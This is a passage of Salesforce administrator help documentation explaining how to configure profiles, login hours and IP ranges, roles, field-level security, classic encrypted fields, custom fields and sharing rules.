**Note:** You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every request. This option affects all user profiles that have login IP restrictions.
Work in the Original Profile Interface

To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then select the profile you want.

On the profile detail page, you can:

- Edit the profile
- Create a profile based on this profile
- For custom profiles only, click Delete to delete the profile

\[\text{Note:} \text{ You can’t delete a profile that’s assigned to a user, even if the user is inactive.}\]

- View the users who are assigned to this profile

IN THIS SECTION:

Edit Profiles in the Original Profile Interface
Profiles define how users access objects and data and what they can do within the application. In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all available permissions and settings, except the user license.

View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.

Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.
Edit Profiles in the Original Profile Interface

Profiles define how users access objects and data and what they can do within the application. In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all available permissions and settings, except the user license.

Note: Editing some permissions can result in enabling or disabling other ones. For example, enabling “View All Data” enables “Read” for all objects. Likewise, enabling “Transfer Leads” enables “Read” and “Create” on leads.

Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple profiles from the list view.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select the profile you want to change.
3. On the profile detail page, click Edit.

### EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Essentials, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

Custom Profiles available in: Essentials, Professional, Enterprise, Performance, Unlimited, and Developer Editions

### USER PERMISSIONS

To edit app and system permissions in profiles:
- Manage Profiles and Permission Sets

To edit app and system as well as object and field permissions in profiles:
- Manage Profiles and Permission Sets
  AND
  Customize Application
View and Edit Login Hours in the Original Profile User Interface

Specify the hours when users can log in based on the user profile.

1. From Setup, enter Profiles in the Quick Find box. Select Profiles, and then select a profile.
2. In the Login Hours related list, click Edit.
3. Set the days and hours when users with this profile can log in to the org.
   To let users log in at any time, click Clear all times. To prohibit users from logging in on a specific day, set Start Time to 12 AM and End Time to End of Day.
   If users are logged in when their login hours end, they can continue to view their current page, but they can't take any further action.
4. Click Save.

Note: The first time login hours are set for a profile, the hours are based on the org's default time zone as specified on the Company Information page in Setup. After that, changes to the org's default time zone on the Company Information page don't affect the time zone for the profile's login hours. The profile login hours remain the same, even when a user is in a different time zone or the org's default time zone changes.

Depending on whether you're viewing or editing login hours, the hours appear differently. On the profile detail page, hours appear in your specified time zone. On the Login Hours edit page, the hours appear in the org's default time zone.

Restrict Login IP Addresses in the Original Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user's profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

1. How you restrict the range of valid IP addresses on a profile depends on your Salesforce edition.
   - If you're using an Enterprise, Unlimited, Performance, or Developer Edition, from Setup, enter Profiles in the Quick Find box, then select Profiles, and select a profile.
   - If you're using a Group, or Personal Edition, from Setup, enter Session Settings in the Quick Find box, then select Session Settings.
   - In a Professional Edition, the location of IP ranges depends on whether you have the "Edit Profiles & Page Layouts" org preference enabled as an add-on feature.
     With the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on individual profiles.
     Without the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on the Session Settings page.
2. Click New in the Login IP Ranges related list.
3. Enter a valid IP address in the IP Start Address field and a higher-numbered IP address in the IP End Address field.

The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields.

- The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff:ffff is
255.255.255.255. A range can't include IP addresses both inside and outside of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to ::1:0:0 or :: to ::1:0:0 aren't allowed.

- Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.

4. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, such as which part of your network corresponds to this range.

5. Click Save.

Note: Cache settings on static resources are set to private when accessed via a Salesforce Site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.

Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every request. This option affects all user profiles that have login IP restrictions.

Manage Profile Lists

Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then select Profiles.

Viewing Enhanced Profile Lists

If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage, and print profile lists.

- Show a filtered list of profiles by selecting a view from the drop-down list.
- Delete a view by selecting it from the drop-down list and clicking Delete.
- Create a list view or edit an existing view.
- Create a profile.
- Print the list view by clicking .
- Refresh the list view after creating or editing a view by clicking .
- Edit permissions directly in the list view.
- View or edit a profile by clicking its name.
- Delete a custom profile by clicking Del next to its name.

Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive.

Viewing the Basic Profile List

- Create a profile.
- View or edit a profile by clicking its name.
- Delete a custom profile by clicking Del next to its name.
**Edit Multiple Profiles with Profile List Views**

If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages.

Editable cells display a pencil icon (✏️) when you hover over the cell, while non-editable cells display a lock icon (🔒). In some cases, such as in standard profiles, the pencil icon appears but the setting is not actually editable.

⚠️ **Warning:** Use care when editing profiles with this method. Because profiles affect a user’s fundamental access, making mass changes may have a widespread effect on users in your organization.

1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit.
   - If you select profiles on multiple pages, Salesforce remembers which profiles are selected.
3. Double-click the permission you want to edit.
   - For multiple profiles, double-click the permission in any of the selected profiles.
4. In the dialog box that appears, enable or disable the permission.
   - In some cases, changing a permission may also change other permissions. For example, if “Customize Application” and “View Setup and Configuration” are disabled and you enable “Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the dialog box lists the affected permissions.
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.

📝 **Note:**
- For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions.
- If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn’t have “Modify All Data,” the profile won’t change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open the profile detail page. The profiles you’ve clicked appear in the error window in gray, strike-through text. To view the error console, you must have pop-up blockers disabled for the Salesforce domain.

Any changes you make are recorded in the setup audit trail.
Create or Clone Profiles

Create custom profiles using the API, or clone existing profiles and customize them to fit your business’s needs.

Tip: If you clone profiles to enable certain permissions or access settings, consider using permission sets. Also, if your profile name contains more than one word, avoid extraneous spacing. For example, “Acme User” and “Acme User” are identical other than spacing between “Acme” and “User.” Using both profiles in this case can result in confusion for admins and users.

To create an empty custom profile without any base permissions included, use the Profile SOAP API object. On the Profile Setup page, you must first clone an existing profile to create a custom profile.

1. To clone a profile, from Setup, in the Quick Find box, enter Profiles, and then select Profiles.
2. In the Profiles list page, do one of the following:
   • Click New Profile, then select an existing profile that’s similar to the one you want to create.
   • If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the one you want to create.
   • Click the name of a profile that’s similar to the one you want to create, then in the profile page, click Clone.

A new profile uses the same user license as the profile it was cloned from.

3. Enter a profile name.
4. Click Save.

Viewing a Profile’s Assigned Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can:

• Create one or multiple users
• Reset passwords for selected users
• Edit a user
• View a user’s detail page by clicking the name, alias, or username
• View or edit a profile by clicking the profile name
• If Google Apps™ is enabled in your organization, export users to Google and create Google Apps accounts by clicking Export to Google Apps
View and Edit Tab Settings in Permission Sets and Profiles

Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.

1. From Setup, either:
   - Enter Permission Sets in the Quick Find box, then select Permission Sets, or
   - Enter Profiles in the Quick Find box, then select Profiles

2. Select a permission set or profile.

3. Do one of the following:
   - Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit.
   - Original profile user interface—Click Edit, then scroll to the Tab Settings section.

4. Specify the tab settings.

5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings that you specify, select Overwrite users’ personal tab customizations.

6. Click Save.

Note: If Salesforce CRM Content is enabled for your organization but the Salesforce CRM Content User checkbox isn’t enabled on the user detail page, the Salesforce CRM Content app has no tabs.
Enable Custom Permissions in Profiles

Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in profiles.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Depending on which user interface you’re using, do one of the following.
   - Enhanced profile user interface: Click Custom Permissions, and then click Edit.
   - Original profile user interface: In the Enabled Custom Permissions related list, click Edit.
4. To enable custom permissions, select them from the Available Custom Permissions list and click Add. To remove custom permissions from the profile, select them from the Enabled Custom Permissions list and click Remove.
5. Click Save.
Create a User Role

Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.

Users at any role level can view, edit, and report on all data that’s owned by or shared with users below them in their role hierarchy. If your org’s sharing model specifies different sharing access for an object, then sharing defers to the OWD settings. Specifically, in the Organization-Wide defaults related list, you can disable the Grant Access Using Hierarchies option for a custom object. When disabled, only the record owner and users who are granted access by the organization-wide defaults receive access to the object’s records.

1. From Setup, in the Quick Find box, enter Roles, then select Roles.
2. If the “Understanding Roles” page is displayed, click Set Up Roles.
3. Find the role under which you want to add the new role. Click Add Role.
4. Add a Label for the role. The Role Name field autopopulates.
5. Specify who the role reports to. The field is already populated with the role name under which you added the new role, but you can also edit the value here.
6. Optionally, specify how the role name is displayed in reports. If the role name is long, consider using an abbreviation for reports.
7. Specify the role’s access to contacts, opportunities, and cases.

   For example, you can set the contact access so that users in a role can edit all contacts associated with accounts that they own. This access applies regardless of who owns the contacts. And you can set the opportunity access so that users in a role can edit all opportunities associated with accounts that they own. This access also applies regardless of who owns the opportunities.
8. Click Save.

Portal user roles aren’t included on the role hierarchy setup page.

Note: After you share a folder with a role, it’s visible only to users in that role, not to superior roles in the hierarchy.

Share Objects and Fields

Give specific object or field access to selected groups or profiles.

IN THIS SECTION:

Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.

Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater access by making automatic exceptions to your org-wide sharing settings.

User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your organization.
What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.

Manual Sharing
Manual sharing gives other users access to certain types of records, including accounts, contacts, and leads.

Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings can be set separately for custom objects and many standard objects. You can set different levels of access for internal, external, and guest users.

Restriction Rules
Restriction rules let you enhance your security by allowing certain users to access only specified records. They prevent users from accessing records that can contain sensitive data or information that isn’t essential to their work. Restriction rules filter the records that a user has access to so that they can access only the records that match the criteria you specify.

Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.

Note:  📌 Who Sees What: Field-Level Security (English only)
Watch how you can restrict access to specific fields on a profile-by-profile basis.

Your Salesforce org contains lots of data, but you probably don’t want every field accessible to everyone. For example, your payroll manager probably wants to keep salary fields accessible only to select employees. You can restrict user access in:

- Detail and edit pages
- Related lists
- List views
- Reports
- Connect Offline
- Email and mail merge templates
- Custom links
- The partner portal
- The Salesforce Customer Portal
- Synchronized data
- Imported data

Page layouts and field-level security settings determine which fields a user sees. The most restrictive field access settings of the two always applies. For example, you can have a field that’s required in a page layout but is read-only in the field-level security settings. The field-level security overrides the page layout, so the field remains read-only.

You can define field-level security in either of these ways.

- For multiple fields on a single permission set or profile
- For a single field on all permission sets
- For a single field on all profiles

After setting field-level security, you can:
Organize the fields on detail and edit pages by creating page layouts.

**Tip:** Use field-level security to restrict users’ access to fields, and then use page layouts to organize detail and edit pages within tabs. This approach reduces the number of page layouts for you to maintain.

Verify users’ access to fields by checking field accessibility.

Customize search layouts to set the fields that appear in search results, in lookup dialog search results, and in the key lists on tab home pages. To hide a field that’s not protected by field-level security, omit it from the layout.

**Note:** Roll-up summary and formula fields are read-only on detail pages and not available on edit pages. They can also be visible to users even though they reference fields that your users can’t see. Einstein Insights can also be visible to user even though the insight references fields that your users can’t see. Universally required fields appear on edit pages regardless of field-level security.

The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.

IN THIS SECTION:

- **Set Field Permissions in Permission Sets and Profiles**
  Field permissions specify the access level for each field in an object.

- **Set Field-Level Security for a Field on All Profiles**
  Use the object manager to set field-level security settings on profiles.

**Field Permissions**

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

**Classic Encryption for Custom Fields**

Restrict other Salesforce users from seeing custom text fields that you want to keep private. Only users with the View Encrypted Data permission can see data in encrypted custom text fields.

### Set Field Permissions in Permission Sets and Profiles

Field permissions specify the access level for each field in an object.

1. From Setup, enter *Permission Sets* in the Quick Find box, then select *Permission Sets*, or enter *Profiles* in the Quick Find box, then select *Profiles*.
2. Select a permission set or profile.
3. Depending on which interface you’re using, do one of the following:
   - Permission sets or enhanced profile user interface—In the *Find Settings...* box, enter the name of the object you want and select it from the list. Click *Edit*, then scroll to the Field Permissions section.
   - Original profile user interface—In the Field-Level Security section, click *View* next to the object you want to modify, and then click *Edit*.
4. Specify the field’s access level.
5. Click *Save*.
Set Field-Level Security for a Field on All Profiles

Use the object manager to set field-level security settings on profiles.

1. From Setup, open Object Manager, and then in the Quick Find box, enter the name of the object containing the field.
2. Select the object, and then click Fields & Relationships.
3. Select the field you want to modify.
4. Click Set Field-Level Security.
5. Specify the field's access level.
6. Save your changes.

Field Permissions

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Enabled Settings in Permission Sets and Enhanced Profile User Interface</th>
<th>Enabled Settings in Original Profile and Field-Level Security Interfaces</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users can read and edit the field.</td>
<td>Read and Edit</td>
<td>Visible</td>
</tr>
<tr>
<td>Users can read but not edit the field.</td>
<td>Read</td>
<td>Visible and Read-Only</td>
</tr>
<tr>
<td>Users can't read or edit the field.</td>
<td>None</td>
<td>None</td>
</tr>
</tbody>
</table>

EDITIONS

Available in: Salesforce Classic (not available in all orgs)

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

USER PERMISSIONS

To set field-level security:
- Manage Profiles and Permission Sets
  AND
  Customize Application

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions
Classic Encryption for Custom Fields

Restrict other Salesforce users from seeing custom text fields that you want to keep private. Only users with the View Encrypted Data permission can see data in encrypted custom text fields. Before you begin working with encrypted custom fields, review these implementation notes, restrictions, and best practices.

Implementation Notes

- Encrypted fields are encrypted with 128-bit master keys and use the Advanced Encryption Standard (AES) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact Salesforce.
- You can use encrypted fields in email templates but the value is always masked regardless of whether you have the View Encrypted Data permission.
- If you have the View Encrypted Data permission and you grant login access to another user, the user can see encrypted fields in plain text.
- Only users with the View Encrypted Data permission can clone the value of an encrypted field when cloning that record.
- Only the `<apex:outputField>` component supports presenting encrypted fields in Visualforce pages.

Restrictions

Encrypted text fields:

- Can’t be unique, have an external ID, or have default values.
- Aren’t available for mapping leads to other objects.
- Are limited to 175 characters because of the encryption algorithm.
- Aren’t available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
- Can’t be used to define report criteria, but they can be included in report results.
- Aren’t searchable, but they can be included in search results.
- Aren’t available for Connect Offline, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values, and Web-to-Lead and Web-to-Case forms.

Best Practices

- Encrypted fields are editable regardless of whether the user has the View Encrypted Data permission. Use validation rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
- You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the View Encrypted Data permission.
- To view encrypted data unmasked in the debug log, the user must also have the View Encrypted Data in the service that Apex requests originate from. These requests can include Apex Web services, triggers, workflows, inline Visualforce pages (a page embedded in a page layout), and Visualforce email templates.
- Existing custom fields can’t be converted into encrypted fields nor can encrypted fields be converted into another data type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import that data into the new encrypted field.
- Mask Type isn’t an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data entered matches the mask type selected.
Use encrypted custom fields only when government regulations require it because they involve more processing and have search-related limitations.

Note: This page is about Classic Encryption, not Shield Platform Encryption. What's the difference? on page 107

IN THIS SECTION:

Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it to appear and optionally control security at the field level.
Create Custom Fields

Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it to appear and optionally control security at the field level.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Watch a Demo: How to Create a Custom Field in Salesforce

Want to customize Salesforce so it captures all your business data? This short video walks you through how to create a custom picklist field, from choosing the correct field type to applying field level security.

Watch a Demo: How to Add a Custom Field in Salesforce (Lightning Experience)

Want to add and arrange a new field while viewing an individual record for an object? This short video walks you through creating a picklist field while viewing a contact, and then changing the page layout for the field.

Before you begin, determine the type of field you want to create.

Note: When you're close to the limit of 800 custom fields and you delete or create fields, field creation can fail. The physical delete process reclaims and cleans fields, making them count temporarily toward the limit. The delete process runs only when the queue is full, so it can take days or weeks to start. In the meantime, the deleted fields are still counted as part of the limit. To request immediate deletion of fields, contact Salesforce Support.

1. From the management settings for the object you want to add a field to, go to Fields. Custom task and event fields are accessible from the object management settings for Activities.

2. Click New.

Tip: On custom objects, you can also set field dependencies and field history tracking in this section.

3. Choose the type of field and click Next. Note these considerations.

   - Some data types are available for certain configurations only. For example, the Master-Detail Relationship option is available for custom objects only when the custom object doesn’t already have a master-detail relationship.
   - Custom settings and external objects allow only a subset of the available data types.
   - You can’t add a multi-select picklist, rich text area, or dependent picklist custom field to opportunity splits.
   - Relationship fields count toward custom field limits.
   - Additional field types can appear if an AppExchange package using those field types is installed.
   - The Roll-Up Summary option is available on certain objects only.
   - Field types correspond to API data types.
   - If your organization uses Shield Platform Encryption, ensure that you understand how to encrypt custom fields using the Shield Platform Encryption offering.

4. For relationship fields, associate an object with the field and click Next.

EDITIONS

Available in: Contact Manager, Essentials, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

Salesforce Connect external objects are available in: Developer Edition and for an extra cost in: Enterprise, Performance, and Unlimited Editions

Custom fields aren’t available on Activities in Group Edition

Custom settings aren’t available in Professional Edition

Layouts aren’t available in Database.com

USER PERMISSIONS

To create or change custom fields:
- Customize Application

To add field-level security to profiles or permission sets:
- Manage Profiles and Permission Sets
5. For indirect lookup relationship fields, select a unique, external ID field on the parent object, and then click Next. The parent field values are matched against the values of the child indirect lookup relationship field to determine which records are related to each other.

6. To base a picklist field on a global picklist value set, select the value set to use.

7. Enter a field label. Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API.

   **Tip:** Ensure that the custom field name and label are unique for that object.
   
   - If standard and custom fields have identical names or labels, the merge field displays the custom field value.
   - If two custom fields have identical names or labels, the merge field can display an unexpected value.

   If you create a field label called Email and a standard field labeled Email exists, the merge field is unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2.

8. To specify whether the field must be populated and what happens if the record is deleted, enter field attributes and select the appropriate checkboxes.

9. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail relationship to be reparented to a different parent record.

10. For relationship fields, optionally create a lookup filter to limit search results for the field. Not available for external objects.

11. Click Next.

12. In Enterprise, Unlimited, Performance, and Developer Editions, specify the field’s access settings for each profile or permission set, and click Next.

   **Note:** To specify the field’s access settings for permission sets instead of profiles, enable Field-Level Security for Permission Sets during Field Creation on the User Management Settings page.

   If you specify access for permission sets, select Permission sets with object permissions to filter the list to permission sets that have Create, Read, Edit, or Delete access on the field’s object. To show all permission sets, deselect this option. If no permission sets have object permissions for the field’s object, the list contains all permission sets.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Enabled Settings (Profiles)</th>
<th>Enabled Settings (Permission Sets)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users can read and edit the field.</td>
<td>Visible</td>
<td>Edit Access (Read Access is selected automatically)</td>
</tr>
<tr>
<td>Users can read but not edit the field.</td>
<td>Visible and Read-Only</td>
<td>Read Access</td>
</tr>
<tr>
<td>Users can’t read or edit the field.</td>
<td>None</td>
<td>None</td>
</tr>
</tbody>
</table>

   - When you create a custom field, by default the field isn’t visible or editable for portal profiles, unless the field is universally required.

13. To show the editable field, choose the page layouts and click Next.
14. For relationship fields, optionally click Related List Label and enter a new name to create an associated records related list, then add it to page layouts for that object. To add the related list to customized page layouts, select Append related list to users’ existing personal customizations.

15. Click Save to finish or Save & New to create more custom fields.

Note: Creating fields can require changing a large number of records at once. If your request is queued to process these changes efficiently, you receive an email notification when the process has completed.

SEE ALSO: Salesforce Help: Find Object Management Settings

Sharing Rules

Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater access by making automatic exceptions to your org-wide sharing settings.

Note: Who Sees What: Record Access via Sharing Rules (English only)

Watch how you can grant access to records using sharing rules.

Like role hierarchies, a sharing rule can never be stricter than your org-wide default settings. It simply allows greater access for particular users.

You can base a sharing rule on record ownership or other criteria. After you select which records to share, you define which groups or users to extend access to and what level of access they have.

Note: You can define up to 300 total sharing rules for each object, including up to 50 criteria-based or guest user sharing rules, if available for the object.

You can create these types of sharing rules. Your org could have other objects that are available for sharing rules.

<table>
<thead>
<tr>
<th>Type</th>
<th>Based On</th>
<th>Set Default Sharing Access For</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account sharing rules</td>
<td>Account owner or other criteria, including account record types or field values</td>
<td>Accounts and their associated contracts, opportunities, cases, and optionally, contacts and orders</td>
</tr>
<tr>
<td>Asset sharing rules</td>
<td>Asset owner or other criteria, including asset record types or field values</td>
<td>Individual assets</td>
</tr>
<tr>
<td>Type</td>
<td>Based On</td>
<td>Set Default Sharing Access For</td>
</tr>
<tr>
<td>---------------------------</td>
<td>--------------------------------------------------------------------------</td>
<td>-------------------------------------------------</td>
</tr>
<tr>
<td>Campaign sharing rules</td>
<td>Campaign owner or other criteria, including campaign record types or field values</td>
<td>Individual campaigns</td>
</tr>
<tr>
<td>Case sharing rules</td>
<td>Case owner or other criteria, including case record types or field values</td>
<td>Individual cases and associated accounts</td>
</tr>
<tr>
<td>Contact sharing rules</td>
<td>Contact owner or other criteria, including contact record types or field values</td>
<td>Individual contacts and associated accounts</td>
</tr>
<tr>
<td>Custom object sharing rules</td>
<td>Custom object owner or other criteria, including custom object record types or field values</td>
<td>Individual custom object records</td>
</tr>
<tr>
<td>Data privacy sharing rules</td>
<td>Data privacy record owner or other criteria, including field values. Data privacy records are based on the Individual object.</td>
<td>Individual data privacy records</td>
</tr>
<tr>
<td>Knowledge article sharing rules</td>
<td>Knowledge article owner or other criteria, including Knowledge object record types or field values</td>
<td>Individual article versions</td>
</tr>
<tr>
<td>Flow interview sharing rules</td>
<td>Flow interview owner or other criteria, such as the pause reason</td>
<td>Individual flow interviews</td>
</tr>
<tr>
<td>Lead sharing rules</td>
<td>Lead owner or other criteria, including lead record types or field values</td>
<td>Individual leads</td>
</tr>
<tr>
<td>Location sharing rules</td>
<td>Location owner or other criteria</td>
<td>Individual locations</td>
</tr>
<tr>
<td>Maintenance plan sharing rules</td>
<td>Maintenance plan owner or other criteria</td>
<td>Individual maintenance plans</td>
</tr>
<tr>
<td>Opportunity sharing rules</td>
<td>Opportunity owner or other criteria, including opportunity record types or field values</td>
<td>Individual opportunities and their associated accounts</td>
</tr>
<tr>
<td>Order sharing rules</td>
<td>Order owner or other criteria, including order record types or field values</td>
<td>Individual orders</td>
</tr>
<tr>
<td>Product item sharing rules</td>
<td>Product item owner or other criteria</td>
<td>Individual product items</td>
</tr>
<tr>
<td>Product request sharing rules</td>
<td>Product request owner only; criteria-based sharing rules aren’t available</td>
<td>Individual product requests</td>
</tr>
<tr>
<td>Product transfer sharing rules</td>
<td>Product transfer owner only; criteria-based sharing rules aren’t available</td>
<td>Individual product transfers</td>
</tr>
<tr>
<td>Return order sharing rules</td>
<td>Return order owner or other criteria</td>
<td>Individual return orders</td>
</tr>
<tr>
<td>Service appointment sharing rules</td>
<td>Service appointment owner or other criteria</td>
<td>Individual service appointments</td>
</tr>
<tr>
<td>Service contract sharing rules</td>
<td>Service contract owner or other criteria</td>
<td>Individual service contracts</td>
</tr>
<tr>
<td>Service crew sharing rules</td>
<td>Service crew owner only; criteria-based sharing rules aren’t available</td>
<td>Individual service crews</td>
</tr>
<tr>
<td>Service resource sharing rules</td>
<td>Service resource owner or other criteria</td>
<td>Individual service resources</td>
</tr>
</tbody>
</table>
### IN THIS SECTION:

**Sharing Rule Types**
You can base a sharing rule on record ownership or other criteria.

- **Create Owner-Based Sharing Rules**
  An owner-based sharing rule opens access to records owned by certain users.

- **Create Criteria-Based Sharing Rules**
  A criteria-based sharing rule determines who to share records with based on field values.

- **Create Guest User Sharing Rules**
  A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated guest users. Guest user sharing rules can only grant Read Only access.

**Sharing Rule Categories**
When you define a sharing rule, you can choose from the following categories in the **owned by** members of and **Share with** dropdown lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear.

- **Edit Sharing Rules**
  For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on other criteria, you can edit the criteria and sharing access settings.

- **Sharing Rule Considerations**
  Review these considerations before using sharing rules.

- **Recalculate Sharing Rules**
  When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.

### Table: Sharing Rule Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Based On</th>
<th>Set Default Sharing Access For</th>
</tr>
</thead>
<tbody>
<tr>
<td>Service territory sharing rules</td>
<td>Service territory owner or other criteria</td>
<td>Individual service territories</td>
</tr>
<tr>
<td>Shipment sharing rules</td>
<td>Shipment owner only; criteria-based sharing rules aren’t available</td>
<td>Individual shipments</td>
</tr>
<tr>
<td>Time sheet sharing rules</td>
<td>Time sheet owner only; criteria-based sharing rules aren’t available</td>
<td>Individual time sheets</td>
</tr>
<tr>
<td>User sharing rules</td>
<td>Group membership or other criteria, including username and whether the user is active</td>
<td>Individual users</td>
</tr>
<tr>
<td>User provisioning request sharing rules</td>
<td>User provisioning request owner, only; criteria-based sharing rules aren’t available</td>
<td>Individual user provisioning requests</td>
</tr>
<tr>
<td>Work order sharing rules</td>
<td>Work order owner or other criteria, including work order record types or field values</td>
<td>Individual work orders</td>
</tr>
<tr>
<td>Work type sharing rules</td>
<td>Work type owner or other criteria</td>
<td>Individual work types</td>
</tr>
</tbody>
</table>

**Note:** Developers can use Apex to programmatically share custom objects based on record owners but not other criteria.
Asynchronous Parallel Recalculation of Sharing Rules
To improve performance, sharing rule recalculation is run asynchronously and in parallel by default.

Sharing Rule Types
You can base a sharing rule on record ownership or other criteria.

Owner-Based Sharing Rules
An owner-based sharing rule opens access to records owned by certain users. For example, a company’s sales managers need to see opportunities owned by sales managers in a different region. The U.S. sales manager could give the APAC sales manager access to the opportunities owned by the U.S. team using owner-based sharing.

Criteria-Based Sharing Rules
A criteria-based sharing rule determines with whom to share records based on field values. For example, you have a custom object for job applications, with a custom picklist field named “Department.” A criteria-based sharing rule could share all job applications in which the Department field is set to “IT” with all IT managers in your organization.

Note:
- A criteria-based sharing rule is based on record values and not the record owners. However, a role or territory hierarchy still allows users higher in the hierarchy to access the records.
- You can’t use Apex to create a criteria-based sharing rule. And you can’t test criteria-based sharing using Apex.
- Starting with API version 24.0, you can use the Metadata API SharingRules type to create criteria-based sharing rules.

You can create criteria-based sharing rules for accounts, assets, campaigns, cases, contacts, leads, opportunities, work orders, and custom objects. For the sharing criteria, record types and these field types are supported.

- Auto Number
- Checkbox
- Date
- Date/Time
- Email
- Lookup Relationship (to user ID or queue ID)
- Number
- Percent
- Phone
- Picklist
- Text
- Text Area
- URL
Guest User Sharing Rules

A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated guest users.

